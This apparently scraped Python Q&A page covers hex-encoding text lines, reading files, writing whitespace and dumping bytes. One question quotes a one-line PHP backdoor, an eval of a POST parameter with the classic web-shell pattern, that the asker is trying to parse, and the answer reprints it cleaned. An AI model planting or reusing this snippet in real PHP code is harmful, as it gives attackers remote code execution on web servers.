generate a hex file by converting strings into hex from a text file in Python - python-3.x

I have a Python tool that generates a text file in which each line has a string. I want to generate a hex file using this text file. The file has lines the following line:
-5.139488050547036391e-01
3.181812818225058681e+00
475.465798764
abc[0]
abc[0]*abc[10]
I tried using binascii.hexlify(b'<String>'), which works when I manually enter the strings, but when I do that:
with open("strings.txt", "r") as a_file:
for line in a_file:
if not line.strip():
continue
stripped_line = line.strip()
hex_= binascii.hexlify(b'<'+ stripped_line +'>')
print(hex_)
I get this error:
TypeError: can't concat str to bytes
How can I convert those strings of different types into hex and generate a .hex file?

To convert a string (line in file) to bytes object you have to encode it. In your case, that only means to replace this line from your code
hex_= binascii.hexlify(b'<'+ stripped_line +'>')
with this line
hex_= binascii.hexlify(stripped_line.encode())
Your code ran into error, because you tried to concatenate 'b<' (byte object) with stripped_line (string object) and it has no meaning in python.

Related

Read a file with illegal characters in Python

I am trying to read a PHP file in Python that has illegal characters. The string is the following:
z��m���^r�^if(!empty($_POST['adbb7e61'])){eval($_POST['bba6e']);exit(0);}
I am using the following code to strip out the illegal characters but it doesn't seem to be working
EncodedString = Input.encode("ascii", "ignore")
Input = EncodedString.decode()
It results in the following string which throws an error
^r^if(!empty($_POST['adbb7e61'])){eval($_POST['bba6e']);exit(0);}
The error message is
line 480, in t_ANY_error
raise SyntaxError('illegal character', (None, t.lineno, None, t.value))
File "<string>", line 2
How can I fix this? I don't want to do it in the file being read because that would defeat the purpose of what I am trying to accomplish.
The resulting characters are within the ASCII range, thus the encode method worked just fine.
Your problem is that there are still characters that you must get rid off because they cannot be interpreted by your software.
What I guess is that you want to keep all characters after the last ^, which leads to the following code :
Input = "z��m���^r�^if(!empty($_POST['adbb7e61'])){eval($_POST['bba6e']);exit(0);}"
EncodedString = Input.encode("ascii", "ignore")
Input = EncodedString.decode().split('^')[-1]
print(Input)
# if(!empty($_POST['adbb7e61'])){eval($_POST['bba6e']);exit(0);}

How to print string with embedded whitespace in python3

Assume the following string:
s = '\r\nthis is the second line\r\n\tthis line is indented\r\n'
If I run Python (v. 3.8.6) interactively, printing this string works as expected:
>>> print(s)
this is the second line
this line is indented
>>>
But when I print this string to a file (ie, print(s, file = "string.txt")), the embedded whitespace is not interpreted and the text file contains the string literally (with "\t" instead of a tab, etc).
How can I get the same interactive output written to file? Attempts using str(), f-strings, and format() were unsuccessful.
this worked for me:
with open('file.txt','w') as file:
print('\r\nthis is the second line\r\n\tthis line is indentedd\r\n',file=file)

file reading in python usnig different methods

# open file in read mode
f=open(text_file,'r')
# iterate over the file object
for line in f.read():
print(line)
# close the file
f.close()
the content of file is "Congratulations you have successfully opened the file"! when i try to run this code the output comes in following form:
c (newline) o (newline) n (newline) g.................
...... that is each character is printed individually on a new line because i used read()! but with readline it gives the answer in a single line! why is it so?
r.read() returns one string will all characters (the full file content).
Iterating a string iterates it character wise.
Use
for line in f: # no read()
instead to iterate line wise.
f.read() returns the whole file in a string. for i in iterates something. For a string, it iterates over its characters.
For readline(), it should not print the line. It would read the first line of the file, then print it character by character, like read. Is it possible that you used readlines(), which returns the lines as a list.
One more thing: there is with which takes a "closable" object and auto-closes it at the end of scope. And you can iterate over a file object. So, your code can be improved like this:
with open(text_file, 'r') as f:
for i in f:
print(i)

Hexadecimal byte string conversion to unicode in python

I read a string from a text file which contains many special characters in 'rb' mode and store it in a variable. But when I insert it into a textbox in tkinter some characters go missing.
inp = tut.encrypt_text(tut.getKey(password.get()),text.get("1.0", END))
The code passes a string to the encrypting function to encrypt the text and then gets the encrypted text in hex byte string.
outfile.write(encryptor.encrypt(chunk))
this code is used for writing the encrypted text to a file and then the same is being read from the file and returned back to the call made above.
with open(outputFile, 'rb') as out:
output =out.read()
return output
The encrypted text in file is:
0000000000000011P”=êäS£¾1:–ø{pâRÆA<,ã É˜“Uê
Here itself some characters are missing. When i read it in 'rb' mode and store in variable output and return to the call made, the variable has the value
b'0000000000000011P\x94=\xea\xe4S\x0f\xa3\xbe1\x18:\x96\xf8{p\xe2R\xc6A<,\xe3\xa0\xc9\x8d\x98\x93\x04\x08U\xea'
But when I insert it in the textbox using the code
text.delete('1.0', END)
text.insert(END, inp)
The text that is being printed in the textbox is
0000000000000011P=êäS£¾1:ø{pâRÆA<,ã ÉUê.
This text is different from the one which was in the file. How can I get the same string which is in the text file in the textbox?

How to create a dump file in hex format from python

I have a array of integer which I want to dump in one binary file (HEX file to be specific) using python script
I have written a code as
MemDump = Debug.readMemory(ic.IConnectDebug.fRealTime, 0, 0xB0009CC4, 0xCFF, 1)
MemData = MemDump[:3321]
# Create New file in binary mode and open for writing
fp = open("MON.dmp", 'w')
sys.stdout = fp
for byte in MemData:
print(byte)
Here MemDump contains an array of integer values. From this array first 3321 bytes I want to dump in file.
Here I am getting the the output in file MON.dmp but in ASCII fromat.
and if I create file in binary format using
fp = open("MON.dmp", 'wb')
print(byte) command gives me an error saying
'str' does not support the buffer interface
Thank you in Advance.
You need to convert byte to a binary string before you can write it to a file opened in 'wb' mode. This can be done using the bytearray() function. So in this case you should use:
for byte in MemData:
print(bytearray(byte))

Resources